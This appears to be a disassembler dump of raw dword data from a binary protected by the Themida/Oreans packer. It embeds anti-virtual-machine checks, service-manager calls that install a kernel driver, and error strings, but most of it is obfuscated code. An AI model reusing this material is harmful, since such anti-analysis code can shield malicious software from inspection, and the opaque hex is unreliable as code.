		dd 3034185h, 3985C606h,	5206032Fh, 78103468h, 75B5FF98h
		dd 0FF060301h, 31CE995h, 2D858906h, 0C6060320h,	32F3985h
		dd 0D4685206h, 0FFC005DBh, 30175B5h, 0E995FF06h, 8906031Ch
		dd 31A4D85h, 0CE806h, 71AB0000h, 2C6F3D86h, 0F7DC7EBAh
		dd 0B70FC701h, 0C7815FC6h, 5FF4h, 7E9h,	0B237400h, 3B33FA33h
		dd 11E8DB33h, 2E000000h, 5CA1FC9Ch, 3AE77976h, 4755BC29h
		dd 0DDE7E204h, 728FB866h, 3B34FF5Ah, 81595851h,	7E9FD3F1h
		dd 8B665015h, 0E98158D1h, 14DC489Ah, 8870Fh, 800F0000h
		dd 2, 0E9815A56h, 706B2FE8h, 0DA53E881h, 0C8914C9h, 8E8811Fh
		dd 666474B0h, 0EB83F18Bh, 0EA816602h, 4B4BB98Bh, 0B6B3B5BAh
		dd 0A4FB8111h, 0FFFFFA0h, 0FFFFA885h, 5E7DBEFFh, 0EE83962h
		dd 0B5000000h, 0B13792C7h, 293870C3h, 0B920B102h, 0F5152F1h
		dd 8Ch,	5F5B5900h, 81D98B66h, 64DBC7h, 33C58A00h, 0DE9D2h
		dd 0EDF20000h, 5EE64707h, 5BC109A4h, 8B444428h,	810F1734h
		dd 2, 0C681FA8Ah, 1DF26F0Bh, 74E4BB66h,	7B01F681h, 0ED802018h
		dd 93C68196h, 5642B80Fh, 58D6DC80h, 8FDF8B56h, 0EE91704h
		dd 4C000000h, 2FE6C640h, 6E3FB446h, 44CF6205h, 68A0F4Dh
		dd 81000000h, 0A3119FC1h, 4EA837Dh, 0C890Fh, 880F0000h
		dd 6, 0C836D181h, 0FA815865h, 0FFFF9C08h, 2A850Fh, 10E80000h
		dd 0A000000h, 7137297h,	0B70E7A1Dh, 0B5E98B0Ah,	811701A7h
		dd 354C5CF0h, 1FE95907h, 28000000h, 30D729D7h, 0B70972A5h
		dd 0FF61E9FCh, 0E4A4FFFFh, 147A6346h, 0D705E53Dh, 0E20752FCh
		dd 99E97198h, 2F000000h, 63677562h, 6B636568h, 622F0032h
		dd 68636775h, 6B6365h, 726F662Fh, 75726563h, 622F006Eh
		dd 68636775h, 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h
		dd 732F0065h, 63776F68h, 3265646Fh, 6C632F00h, 2F007472h
		dd 31736964h, 68732F00h, 6E69776Fh, 6E617473h, 2F006563h
		dd 77746567h, 6174736Ch, 737574h, 676F6C2Fh, 74617473h
		dd 2F007375h, 706D7564h, 74617473h, 7375h, 2F000000h, 63656863h
		dd 6F72706Bh, 74636574h, 6E6F69h, 0
		dd 0B407BD83h, 0F000605h, 0A84h, 1D85C700h, 1060311h, 0C6000000h
		dd 32F3985h, 0E0684706h, 8115E3C5h, 0A6AD2404h,	0B5FF7A89h
		dd 6031359h, 38A7858Dh,	0D0FF0603h, 0F88BD0FFh,	0F223F80h
		dd 2285h, 22B04700h, 0F9850FAEh, 80FFFFFFh, 840F003Fh
		dd 31Bh, 3F8047h, 311840Fh, 1EE90000h, 80000000h, 840F003Fh
		dd 303h, 0F203F80h, 685h, 6E94700h, 47000000h, 0FFFFE2E9h
		dd 3F80FFh, 5850Fh, 0E0E90000h,	0E9000002h, 1, 203F8047h
		dd 0FFF6840Fh, 3F80FFFFh, 5850F00h, 0E9000000h,	2C3h, 0AE8h
		dd 0FFCBE900h, 0B4E9FFFFh, 8D000002h, 5B387B5h,	225E806h
		dd 0BD030000h, 605B41Ch, 0B41CBD83h, 0F000605h,	0B84h
		dd 3985C700h, 1060310h,	0C3000000h, 0B392B58Dh,	0FCE80605h
		dd 3000001h, 5B41CBDh, 1CBD8306h, 605B4h, 0B840Fh, 85C70000h
		dd 603111Dh, 1,	0BB58DC3h, 0E80605B4h, 1D3h, 0B41CBD03h
		dd 0BD830605h, 605B41Ch, 0B840F00h, 0C7000000h,	32AAD85h
		dd 106h, 0B58DC300h, 605B39Ch, 1AAE8h, 1CBD0300h, 830605B4h
		dd 5B41CBDh, 840F0006h,	0Bh, 111D85C7h,	10603h,	8DC30000h
		dd 5B3A6B5h, 181E806h, 0BD030000h, 605B41Ch, 0B41CBD83h
		dd 0F000605h, 1584h, 1D85C700h,	1060311h, 0C7000000h, 3103985h
		dd 106h, 0B58DC300h, 605B3B4h, 14EE8h, 1CBD0300h, 830605B4h
		dd 5B41CBDh, 840F0006h,	0Ah, 326D85C7h,	10603h,	0B58D0000h
		dd 605B3BEh, 126E8h, 1CBD0300h,	830605B4h, 5B41CBDh, 840F0006h
		dd 0Ah,	326D85C7h, 10603h, 0B58D0000h, 605B3C9h, 0FEE8h
		dd 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h, 0Ah, 2CED85C7h
		dd 10603h, 0B58D0000h, 605B3CFh, 0D6E8h, 1CBD0300h, 830605B4h
		dd 5B41CBDh, 840F0006h,	0Ah, 13585C7h, 10603h, 0B58D0000h
		dd 605B3D5h, 0AEE8h, 1CBD0300h,	830605B4h, 5B41CBDh, 840F0006h
		dd 0Ah,	328585C7h, 10603h, 0B58D0000h, 605B3E3h, 86E8h
		dd 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h, 0Ah, 31B985C7h
		dd 10603h, 0B58D0000h, 605B3F0h, 5EE8h,	1CBD0300h, 830605B4h
		dd 5B41CBDh, 840F0006h,	0Ah, 37185C7h, 10603h, 0B58D0000h
		dd 605B3FBh, 36E8h, 1CBD0300h, 830605B4h, 5B41CBDh, 840F0006h
		dd 0Ah,	1C6585C7h, 10603h, 1E90000h, 47000000h,	0F203F80h
		dd 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh, 1B9h, 0E9DE8B00h
		dd 1Ch,	0F003F80h, 585h, 0B900h, 178A0000h, 840F1638h
		dd 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h, 0FFFFD385h
		dd 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h, 0A850F20h
		dd 0B9000000h, 1, 5E9h,	0B900h,	0C90B0000h, 0D840Fh, 0F32B0000h
		dd 0B41CB589h, 0AE90605h, 0C7000000h, 5B41C85h,	6, 8BC36100h
		dd 20EE9C8h, 43330000h,	6F6E6E61h, 72772074h, 20657469h
		dd 6165726Fh, 762E736Eh, 0D0A6478h, 656B614Dh, 72757320h
		dd 68742065h, 74207461h, 20736968h, 656C6966h, 20736920h
		dd 20746F6Eh, 6E696562h, 73752067h, 62206465h, 6E612079h
		dd 6568746Fh, 72702072h, 6172676Fh, 2E6Dh, 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 0EFE9h, 3985C600h, 4706032Fh, 0E45B8668h, 59B5FFE3h
		dd 8D060313h, 338A785h,	68D0FF06h, 104h, 27059D8Dh, 0FF530603h
		dd 0B58D50D0h, 605B992h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh
		dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 6032F39h, 6EFC6843h
		dd 0B5FFBC8Eh, 6031359h, 38A7858Dh, 0D0FF0603h,	2705B58Dh
		dd 6A0603h, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h
		dd 3985C6D8h, 5706032Fh, 9BEE5668h, 59B5FFA6h, 8D060313h
		dd 338A785h, 8DD0FF06h,	32045BDh, 0B88D8D06h, 6A0605BAh
		dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h,	8D000000h
		dd 5B79AB5h, 0C3858D06h, 0FF0605A3h, 878D8DD0h,	0B8060372h
		dd 0
		dd 85C6E1FFh, 6032F39h,	4AA76843h, 0B5FFC076h, 6031359h
		dd 38A7858Dh, 0D0FF0603h, 0C3D0FF53h, 37D0B9h, 0E800h
		dd 83580000h, 8890EC0h,	2E9h, 0E9C38B00h, 37D0h, 905A4Dh
		dd 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 2EEh dup(0)
dword_568568	dd 72h dup(0)		; DATA XREF: Themida_:0055DF27o
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 10h
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 10h
		dd 9C3h	dup(0)
		dd 831BE883h, 77309F8h,	8524FFh, 0F8000000h, 0C3h, 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 10A9E9h, 56444100h
		dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh
		dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h
		dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h
		dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h
		dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h
		dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h
		dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 10h
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 21h dup(0)
		dd 0C48B0000h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	75C35141h, 47E2A479h, 316097DBh, 3305585h, 0CE96106h
		dd 36000000h, 509F138Ah, 307EC688h, 89478082h, 31F3D85h
		dd 10E906h, 896E0000h, 75DF2FF5h, 0DB105954h, 0EC2C1FEh
		dd 0C08B10CFh, 0BD83D68Bh, 6031039h, 83097500h,	3111DBDh
		dd 19740006h, 0C08B5350h, 43DB8h, 75858900h, 8D060317h
		dd 5B0919Dh, 5BD3FF06h,	1DBD8358h, 60311h, 53501774h, 43DB8h
		dd 75858900h, 8D060317h, 5AD809Dh, 5BD3FF06h, 55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0C4F58A1h, 0EFA18127h, 299D8991h, 0E906031Ah, 7, 0D1E09FA3h
		dd 8B33A64Bh, 0CA1B9C0h, 0C08B16F1h, 2AF9B531h,	0BD830603h
		dd 6031039h, 83097500h,	3111DBDh, 13740006h, 0C08B5350h
		dd 0B8h, 339D8D00h, 0FF0605AFh,	83585BD3h, 3111DBDh, 11740006h
		dd 0B85350h, 8D000000h,	5ADE49Dh, 5BD3FF06h, 60EF8158h
		dd 0F3C1B8Fh, 680h, 0B98D8B00h,	8B060305h, 0A18D89C0h
		dd 8B060305h, 39BD83C0h, 60310h, 0BD830975h, 603111Dh
		dd 50137400h, 0B8C08B53h, 0
		dd 0AE659D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh, 50117400h
		dd 0B853h, 9D8D0000h, 605ADB2h,	585BD3FFh, 0EB816660h
		dd 12E98F03h, 2A000000h, 3263FE6Dh, 0B5DC4400h,	28D221BCh
		dd 0AEE87B55h, 0C08B61B7h, 0F404BA66h, 8589C08Bh, 60311B1h
		dd 1039BD83h, 75000603h, 1DBD8309h, 60311h, 53501374h
		dd 0B8C08Bh, 8D000000h,	5AECC9Dh, 5BD3FF06h, 1DBD8358h
		dd 60311h, 53501174h, 0B8h, 0CB9D8D00h,	0FF0605ADh, 66585BD3h
		dd 34F3D281h, 8BFFB70Fh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 4F53CE2h, 0E8D6BF0Fh
		dd 10h,	0A8D13F5Dh, 5A47FB3Ch, 9E84391Ch, 0E8BB2611h, 0DE8h
		dd 0EE73B800h, 7763D9E7h, 3AE1C61h, 5A5FDBF9h, 0EE9C08Bh
		dd 0A3000000h, 52F717BCh, 3C52BB60h, 0F1CD2045h, 39BD83C2h
		dd 60310h, 0BD830975h, 603111Dh, 50137400h, 0B8C08B53h
		dd 0
		dd 0ADFE9D8Dh, 0D3FF0605h, 0EF81585Bh, 29A4E73h, 11E8h
		dd 0CBEC00h, 757DF527h,	0F925FBEAh, 8B7871A5h, 958BC507h
		dd 60324D5h, 6850F5Ah, 9000000h, 322D985h, 80C08B06h, 0C08B29C1h
		dd 0FE7ABF66h, 1039BD83h, 75000603h, 1DBD8309h,	60311h
		dd 53501974h, 0D0B8C08Bh, 89000007h, 3177585h, 919D8D06h
		dd 0FF0605B0h, 83585BD3h, 3111DBDh, 17740006h, 0D0B85350h
		dd 89000007h, 3177585h,	809D8D06h, 0FF0605ADh, 8B585BD3h
		dd 301798Dh, 89C08B06h,	32301BDh, 1D958B06h, 0C6060303h
		dd 32F3985h, 0F515306h,	685AFAB7h, 99395F90h, 0C820Fh
		dd 7E90000h, 25000000h,	8BAF8A9Ah, 0B5FFB81Ch, 6031359h
		dd 858DD38Bh, 60338A7h,	0A6D9D89h, 0D0FF0603h, 3890Fh
		dd 8B660000h, 918589D6h, 0E9060326h, 6,	527555DAh, 85C6CD66h
		dd 6032F39h, 52066857h,	0EE99004h, 10000000h, 943DFD3Bh
		dd 2489AFB8h, 88DE0443h, 59B5FF14h, 66060313h, 4F4BF781h
		dd 38A7858Dh, 0CA8B0603h, 0EA81D0FFh, 3B8FAD6Dh, 3235958Bh
		dd 85890603h, 6032015h,	0BE665160h, 0E95A771Ch,	6, 0A20C5CF7h
		dd 8B614B38h, 3011DBDh,	3985C606h, 4306032Fh, 68CB8B66h
		dd 0BC907028h, 11259501h, 0B5FF0603h, 6031359h,	0D5953160h
		dd 6106031Fh, 38A7858Dh, 8D8B0603h, 6032FE9h, 0CE9D0FFh
		dd 0FC000000h, 91BAA1B2h, 2E9CE0B4h, 89139F4Ch,	31D5985h
		dd 5D952906h, 0C6060330h, 32F3985h, 6E94C06h, 8F000000h
		dd 0FCB48D44h, 1CE96899h, 6AD9DAh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0A58629C3h, 89DF208h
		dd 8D8B36DAh, 60321A1h,	0DEB70F60h, 0FF61CA8Bh,	31359B5h
		dd 89858906h, 8D060306h, 338A785h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0E4E5523Ah
		dd 0FA6AD361h, 58A0FE4h, 0BA000000h, 6EF04787h,	6AD0FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 3B8A6EC3h, 8F0F87CFh, 6, 1F898D01h, 85890603h, 6031B09h
		dd 2F3985C6h, 89460603h, 33119BDh, 6146806h, 8D0FBADEh
		dd 6, 0CF59D89h, 0B5FF0603h, 6031359h, 1FAD952Bh, 858D0603h
		dd 60338A7h, 61B0B460h,	850FD0FFh, 6, 20D98D89h, 85890603h
		dd 6031D15h, 0D08B6651h, 3985C65Ah, 4706032Fh, 68D0BF0Fh
		dd 8A0FB5E2h, 22958D29h, 0B5FF0603h, 6031359h, 8E8h, 0B9943C00h
		dd 0DFB5917Dh, 0CF8166BBh, 8D5FCD68h, 338A785h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 88EB7922h, 6AD0FF9Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0EF2EC350h,	85895A51h
		dd 6032975h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	0F9C35040h, 807E178Dh, 85C646D6h, 6032F39h, 10E847h
		dd 4BB00000h, 0EC02F2D7h, 85FEAB1h, 4303D88Ch, 8D8B2455h
		dd 6032DB5h, 0B5F36859h, 9D0983D0h, 6032625h, 1359B5FFh
		dd 6E90603h, 0EB000000h, 0AA096F40h, 0A7858D20h, 3060338h
		dd 3120595h, 33D0FF06h,	3022DBDh, 0A4BA6606h, 2185890Ah
		dd 0E9060326h, 0Ah, 0A165787Bh,	0D94C90EBh, 85C643CAh
		dd 6032F39h, 53006A77h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0BD89500Dh, 60309B5h, 0A8A3685Ah
		dd 6AF397h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0D5AED6C3h, 6B47B232h, 0B5FFCCB8h, 6032D11h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 9FC35646h
		dd 60BA6019h, 8D30932Eh, 338A785h, 84BA6606h, 66D0FF1Ch
		dd 8589CB8Bh, 6031285h,	85C68CB6h, 6032F39h, 5E847h, 3EDB0000h
		dd 89A8461Bh, 311458Dh,	0F6685906h, 0B98728FAh,	456DE55Ah
		dd 1359B5FFh, 0CE80603h, 78000000h, 84EBD571h, 6232A5F0h
		dd 594570C6h, 38A7858Dh, 5E90603h, 3F000000h, 60047DEAh
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0B9E827C3h, 0BA7AAC3h, 30698589h,	8B660603h
		dd 3985C6FEh, 4306032Fh, 0B699589h, 0CF8B0603h,	8E6EFC68h
		dd 29958BBCh, 0F9060329h, 1359B5FFh, 81660603h,	8D8C71D1h
		dd 338A785h, 31950B06h,	0FF060332h, 9E8D0h, 92B10000h
		dd 86AF4F71h, 8B5AF053h, 3104D95h, 85895906h, 6031155h
		dd 1F658501h, 85C60603h, 6032F39h, 83E4B945h, 69684BCAh
		dd 508E7269h, 6870Fh, 9D890000h, 60322B1h, 59B5FF5Ah, 60060313h
		dd 6BBDBA66h, 5880Fh, 81660000h, 6101E5D9h, 1F118D8Bh
		dd 858D0603h, 60338A7h,	0DCB864BAh, 6AD0FF30h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0C184C356h, 0D9816688h, 85892130h, 60320F1h,	8076DA80h
		dd 85C685E1h, 6032F39h,	6830F44h, 89000000h, 31AB9B5h
		dd 0EC646806h, 958BB8F2h, 60321FDh, 1359B5FFh, 11E80603h
		dd 78000000h, 0F74C069Ch, 0F133A71h, 0D1555E79h, 0B79A30E6h
		dd 29E98166h, 858D5FE6h, 60338A7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0B6C35545h,	698501BBh, 8B060302h
		dd 3097DBDh, 89D0FF06h,	3221D85h, 59D8906h, 89060301h
		dd 303E185h, 0FB8B6606h, 2F3985C6h, 0F430603h, 8Bh, 4AA76800h
		dd 0BA66C076h, 0BD89D763h, 6032285h, 1359B5FFh,	6A0603h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 3FDBAFC3h, 0C99D8D4Fh, 0A7858DFCh, 0E8060338h, 14h
		dd 0F3478A22h, 59AD0CBDh, 349D069Fh, 11FF97BDh,	864EE295h
		dd 43AD75BAh, 0D0FF5966h, 895AF553h, 30AE185h, 5840F06h
		dd 0BA000000h, 6DA39AB2h, 33D9D89h, 0BD800603h,	605FE7Bh
		dd 0D5840F00h, 29000000h, 311419Dh, 5D858D06h, 890605FEh
		dd 3069DB5h, 8B605006h,	32CD99Dh, 6188B106h, 4B1016Ah
		dd 0BF0F006Ah, 6A006ACBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0CF08C351h,	5C6FEDEAh
		dd 81647844h, 2AA1F3CAh, 5995FF4Dh, 6A06031Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0C102C355h, 0A298D8Bh, 85890603h, 6031341h, 398D2957h
		dd 5A060329h, 810FFF6Ah, 6, 23A58D89h, 81660603h, 0FF694ADAh
		dd 31341B5h, 6EEF8106h,	0FF79C6B0h, 3201595h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 84B8F374h, 5B254D6Fh, 0F98B66CCh, 0BE9C08Bh,	0F0000000h
		dd 717052A7h, 568E2D5Dh, 0BD836EBFh, 6031039h, 83097500h
		dd 3111DBDh, 19740006h,	0C08B5350h, 7D1B8h, 75858900h
		dd 8D060317h, 5B0919Dh,	5BD3FF06h, 1DBD8358h, 60311h, 53501774h
		dd 7D1B8h, 75858900h, 8D060317h, 5AD809Dh, 5BD3FF06h, 57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0BD858931h, 66060313h, 8BB3EDBFh
		dd 0E6EF81C0h, 0C646A346h, 32F3985h, 6A4706h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0AC40B2C3h
		dd 0E9A13104h, 5, 2941C635h, 0F7C168E9h, 0AE993C8h, 0BF000000h
		dd 96202857h, 96DA68D0h, 59B5FF8Ah, 66060313h, 2A5DEA81h
		dd 38A7858Dh, 0BA660603h, 0D0FF2C50h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 62C35141h, 638C019Ah, 82716FF8h
		dd 0F50D38Ah, 583h, 0E1816600h,	858DF467h, 606029Eh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 1C35545h, 85200DBBh
		dd 6620ED15h, 0D714D781h, 5E9h,	63CE4800h, 0C78182h, 94h
		dd 10E8h, 58353A00h, 8883B083h,	0B2D23303h, 0AD6ED727h
		dd 0E99D8993h, 5A060311h, 5DBD8958h, 106031Eh, 3002985h
		dd 9EB58D06h, 6A060602h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0D6CAC357h,	44E34262h
		dd 2BC61E91h, 30CC18Dh,	66515606h, 3EA6CA81h, 8BD0FF59h
		dd 31C41BDh, 9E858D06h,	83060602h, 0F060478h, 1685h, 0E9952900h
		dd 0C7060303h, 6033285h, 106h, 0C98D8B00h, 83060322h, 31E65BDh
		dd 850F0006h, 5Dh, 17C58D8Bh, 0BD830603h, 6060332h, 4A850F00h
		dd 1000000h, 312EDBDh, 7DBD8306h, 6032Ch, 37840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 8C565DC3h, 820Fh, 85C70000h,	6031BB1h, 0
		dd 2CF1BD8Bh, 0F6800603h, 0DB8C66C3h, 12E8h, 2FB9C600h
		dd 0D52D213h, 99FB4ED1h, 0B4E1BDC6h, 8B5BB830h,	310B5BDh
		dd 0C3F65906h, 4A840F04h, 31000005h, 31725BDh, 0C75F5606h
		dd 31E9185h, 6,	13E900h, 17A0000h, 0E17BEC6Ch, 831E448Ah
		dd 2A1E4DDEh, 1793820h,	88BD80F1h, 605FEh, 4850Fh, 8A500000h
		dd 85C659D5h, 6032F39h,	0EE947h, 68470000h, 0D5BCA9EBh
		dd 606CD588h, 12825A15h, 0E45B8668h, 0FFCF8BE3h, 31359B5h
		dd 0D1852906h, 8D060321h, 338A785h, 55DF8106h, 0E93F4667h
		dd 0Bh,	16058BCh, 4582BF1Ah, 0FF7D8456h, 8E8D0h, 0AA420000h
		dd 0B28C7AABh, 8D8B3211h, 6032C45h, 104685Ah, 95290000h
		dd 603287Dh, 27059D8Dh,	0CA810603h, 2BC3E920h, 0D0FFF553h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BBC35646h
		dd 0E18166DFh, 858D6DE4h, 6032705h, 5E9h, 3C01AA00h, 8B504602h
		dd 30FCD95h, 3A858D06h,	660605FEh, 0BFE07ABAh, 72190AB0h
